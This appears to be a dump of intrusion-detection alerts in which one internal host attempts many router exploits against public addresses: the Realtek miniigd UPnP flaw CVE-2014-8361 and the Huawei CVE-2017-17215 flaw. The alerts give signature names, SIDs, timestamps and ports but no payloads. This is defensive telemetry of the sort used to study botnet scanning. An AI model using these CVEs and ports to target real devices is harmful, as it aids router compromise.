ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 84.102.198.205

Timestamp:	07/20/24-23:01:31.331748
SID:	2831300
Source Port:	40186
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.124.248.177

Timestamp:	07/20/24-23:01:20.596401
SID:	2027339
Source Port:	45956
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 119.8.134.128

Timestamp:	07/20/24-23:01:04.760964
SID:	2025132
Source Port:	39610
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 40.200.215.102

Timestamp:	07/20/24-23:01:41.339597
SID:	2025132
Source Port:	48770
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.55.153.11

Timestamp:	07/20/24-23:01:24.929013
SID:	2829579
Source Port:	39666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.4.8.31

Timestamp:	07/20/24-23:01:43.044693
SID:	2027339
Source Port:	53134
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 222.200.88.35

Timestamp:	07/20/24-23:01:14.049602
SID:	2829579
Source Port:	57588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 162.207.42.25

Timestamp:	07/20/24-23:01:41.542563
SID:	2025132
Source Port:	60338
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.90.7.168

Timestamp:	07/20/24-23:01:42.000471
SID:	2025132
Source Port:	56196
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.223.52.236

Timestamp:	07/20/24-23:01:55.974605
SID:	2027339
Source Port:	52974
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 196.168.75.104

Timestamp:	07/20/24-23:01:42.813695
SID:	2831300
Source Port:	54032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.221.152.25

Timestamp:	07/20/24-23:01:10.856294
SID:	2025132
Source Port:	42986
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.130.121.87

Timestamp:	07/20/24-23:01:31.331748
SID:	2027339
Source Port:	42850
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.104.14.193

Timestamp:	07/20/24-23:01:40.320408
SID:	2835222
Source Port:	57214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 198.213.74.132

Timestamp:	07/20/24-23:01:45.683188
SID:	2025132
Source Port:	37380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 193.135.58.157

Timestamp:	07/20/24-23:01:02.102095
SID:	2025132
Source Port:	59822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.195.103.231

Timestamp:	07/20/24-23:01:20.598095
SID:	2831300
Source Port:	47886
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.102.172.20

Timestamp:	07/20/24-23:01:58.146170
SID:	2027339
Source Port:	41844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.253.20.234

Timestamp:	07/20/24-23:01:50.759828
SID:	2025132
Source Port:	35976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.197.135.159

Timestamp:	07/20/24-23:01:02.064358
SID:	2829579
Source Port:	42284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.107.194.160

Timestamp:	07/20/24-23:01:31.981855
SID:	2835222
Source Port:	39198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 169.195.139.119

Timestamp:	07/20/24-23:01:43.813001
SID:	2025132
Source Port:	45390
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.14.147.228

Timestamp:	07/20/24-23:01:57.787786
SID:	2025132
Source Port:	38406
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.155.124.93

Timestamp:	07/20/24-23:01:27.660099
SID:	2835222
Source Port:	57116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.225.187.157

Timestamp:	07/20/24-23:01:08.667964
SID:	2027339
Source Port:	49882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 94.120.34.76

Timestamp:	07/20/24-23:01:43.580365
SID:	2831300
Source Port:	55990
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.176.151.108

Timestamp:	07/20/24-23:01:53.372532
SID:	2027339
Source Port:	57208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.12.14.153

Timestamp:	07/20/24-23:01:48.842529
SID:	2027339
Source Port:	32888
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.28.35.63

Timestamp:	07/20/24-23:01:50.848726
SID:	2027339
Source Port:	55424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 218.167.11.188

Timestamp:	07/20/24-23:01:08.589759
SID:	2027339
Source Port:	59784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.128.56.168

Timestamp:	07/20/24-23:01:44.963815
SID:	2025132
Source Port:	42802
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 210.173.156.193

Timestamp:	07/20/24-23:01:48.021704
SID:	2831300
Source Port:	53752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 20.158.48.199

Timestamp:	07/20/24-23:01:49.412594
SID:	2025132
Source Port:	37478
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 110.11.201.127

Timestamp:	07/20/24-23:01:31.974837
SID:	2835222
Source Port:	39248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.81.54.196

Timestamp:	07/20/24-23:01:34.045749
SID:	2835222
Source Port:	50594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 108.54.73.191

Timestamp:	07/20/24-23:01:42.790680
SID:	2027339
Source Port:	40562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.142.247.218

Timestamp:	07/20/24-23:01:20.591862
SID:	2027339
Source Port:	58720
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 8.157.181.46

Timestamp:	07/20/24-23:01:41.682135
SID:	2831300
Source Port:	42860
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 62.86.14.116

Timestamp:	07/20/24-23:01:11.816277
SID:	2835222
Source Port:	44124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 219.196.66.69

Timestamp:	07/20/24-23:01:42.304767
SID:	2025132
Source Port:	34786
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.110.81

Timestamp:	07/20/24-23:01:00.654988
SID:	2829579
Source Port:	60584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 195.93.174.118

Timestamp:	07/20/24-23:01:14.111381
SID:	2829579
Source Port:	60172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.102.125.164

Timestamp:	07/20/24-23:01:45.074222
SID:	2831300
Source Port:	48114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.84.36.218

Timestamp:	07/20/24-23:01:56.768240
SID:	2027339
Source Port:	43520
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.223.84.102

Timestamp:	07/20/24-23:01:11.818830
SID:	2835222
Source Port:	33378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.25.16.6

Timestamp:	07/20/24-23:01:43.121284
SID:	2025132
Source Port:	43794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 95.50.29.160

Timestamp:	07/20/24-23:01:41.290518
SID:	2025132
Source Port:	40086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.118.116.115

Timestamp:	07/20/24-23:01:44.765093
SID:	2027339
Source Port:	46870
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 108.147.254.33

Timestamp:	07/20/24-23:01:58.067320
SID:	2831300
Source Port:	35074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 155.71.120.47

Timestamp:	07/20/24-23:01:42.129029
SID:	2025132
Source Port:	34930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.101.71.143

Timestamp:	07/20/24-23:01:42.509004
SID:	2027339
Source Port:	42880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.59.190.80

Timestamp:	07/20/24-23:01:04.118165
SID:	2829579
Source Port:	39384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 85.88.209.175

Timestamp:	07/20/24-23:01:24.885895
SID:	2835222
Source Port:	48754
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 208.190.62.115

Timestamp:	07/20/24-23:01:03.149410
SID:	2027339
Source Port:	34424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.105.178.105

Timestamp:	07/20/24-23:02:40.696155
SID:	2025132
Source Port:	40442
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.166.49.173

Timestamp:	07/20/24-23:01:45.233561
SID:	2027339
Source Port:	39054
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 44.70.248.184

Timestamp:	07/20/24-23:01:08.594120
SID:	2831300
Source Port:	58402
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 25.222.248.206

Timestamp:	07/20/24-23:01:08.578116
SID:	2027339
Source Port:	34374
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 190.34.49.149

Timestamp:	07/20/24-23:01:08.589760
SID:	2831300
Source Port:	51690
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 65.114.239.111

Timestamp:	07/20/24-23:01:08.619598
SID:	2831300
Source Port:	36368
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.177.146.54

Timestamp:	07/20/24-23:01:27.664887
SID:	2829579
Source Port:	49380
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 71.169.30.84

Timestamp:	07/20/24-23:01:42.527234
SID:	2831300
Source Port:	48880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.8.193.70

Timestamp:	07/20/24-23:02:06.806210
SID:	2027339
Source Port:	44198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.187.229.164

Timestamp:	07/20/24-23:01:08.565610
SID:	2027339
Source Port:	43736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 221.42.114.149

Timestamp:	07/20/24-23:01:31.333070
SID:	2831300
Source Port:	56100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.76.174.48

Timestamp:	07/20/24-23:01:43.852550
SID:	2027339
Source Port:	41846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.116.111.15

Timestamp:	07/20/24-23:01:10.996987
SID:	2027339
Source Port:	39666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.193.20.196

Timestamp:	07/20/24-23:01:54.345402
SID:	2027339
Source Port:	48096
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 195.45.218.64

Timestamp:	07/20/24-23:01:48.133778
SID:	2025132
Source Port:	56752
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 89.174.70.107

Timestamp:	07/20/24-23:01:41.488676
SID:	2025132
Source Port:	36638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 42.135.139.61

Timestamp:	07/20/24-23:01:51.107223
SID:	2027339
Source Port:	56572
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.13.47.10

Timestamp:	07/20/24-23:01:41.323363
SID:	2025132
Source Port:	57652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.76.26.43

Timestamp:	07/20/24-23:00:57.221550
SID:	2835222
Source Port:	37826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.125.127.147

Timestamp:	07/20/24-23:01:43.425298
SID:	2027339
Source Port:	48686
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.123.66.167

Timestamp:	07/20/24-23:01:51.014531
SID:	2025132
Source Port:	43234
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 175.15.219.89

Timestamp:	07/20/24-23:01:47.163877
SID:	2027339
Source Port:	33238
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.187.5.172

Timestamp:	07/20/24-23:01:02.380657
SID:	2027339
Source Port:	47818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 178.236.15.67

Timestamp:	07/20/24-23:01:02.113054
SID:	2835222
Source Port:	42612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.103.96.49

Timestamp:	07/20/24-23:01:08.609855
SID:	2831300
Source Port:	38658
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 183.90.49.252

Timestamp:	07/20/24-23:01:46.146350
SID:	2027339
Source Port:	47110
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 177.10.233.116

Timestamp:	07/20/24-23:01:14.296756
SID:	2829579
Source Port:	53070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.76.139.116

Timestamp:	07/20/24-23:01:43.135090
SID:	2027339
Source Port:	39010
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.115.165

Timestamp:	07/20/24-23:01:06.975117
SID:	2829579
Source Port:	52270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 124.74.75.114

Timestamp:	07/20/24-23:01:51.916673
SID:	2025132
Source Port:	35716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.77.201

Timestamp:	07/20/24-23:01:00.633275
SID:	2835222
Source Port:	39114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 90.144.20.22

Timestamp:	07/20/24-23:01:49.170008
SID:	2831300
Source Port:	40856
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.119.22.219

Timestamp:	07/20/24-23:00:59.178062
SID:	2835222
Source Port:	44596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.188.24.161

Timestamp:	07/20/24-23:01:41.303669
SID:	2027339
Source Port:	49992
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.243.193.156

Timestamp:	07/20/24-23:01:08.562013
SID:	2027339
Source Port:	54784
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.125.214.226

Timestamp:	07/20/24-23:01:44.415588
SID:	2027339
Source Port:	53256
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 166.254.78.153

Timestamp:	07/20/24-23:01:43.071126
SID:	2025132
Source Port:	44716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.120.22.241

Timestamp:	07/20/24-23:01:47.038105
SID:	2027339
Source Port:	37582
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.177.125

Timestamp:	07/20/24-23:01:00.633810
SID:	2829579
Source Port:	45072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 182.56.199.136

Timestamp:	07/20/24-23:01:14.097795
SID:	2835222
Source Port:	40554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.170.177.158

Timestamp:	07/20/24-23:01:47.943232
SID:	2027339
Source Port:	43862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 24.104.161.240

Timestamp:	07/20/24-23:01:24.832675
SID:	2027339
Source Port:	59242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 99.233.112.21

Timestamp:	07/20/24-23:01:42.442441
SID:	2025132
Source Port:	60254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 71.240.106.220

Timestamp:	07/20/24-23:01:02.093903
SID:	2835222
Source Port:	49164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 178.64.121.40

Timestamp:	07/20/24-23:01:50.188348
SID:	2027339
Source Port:	51040
Destination Port:	52869
Protocol:	TCP
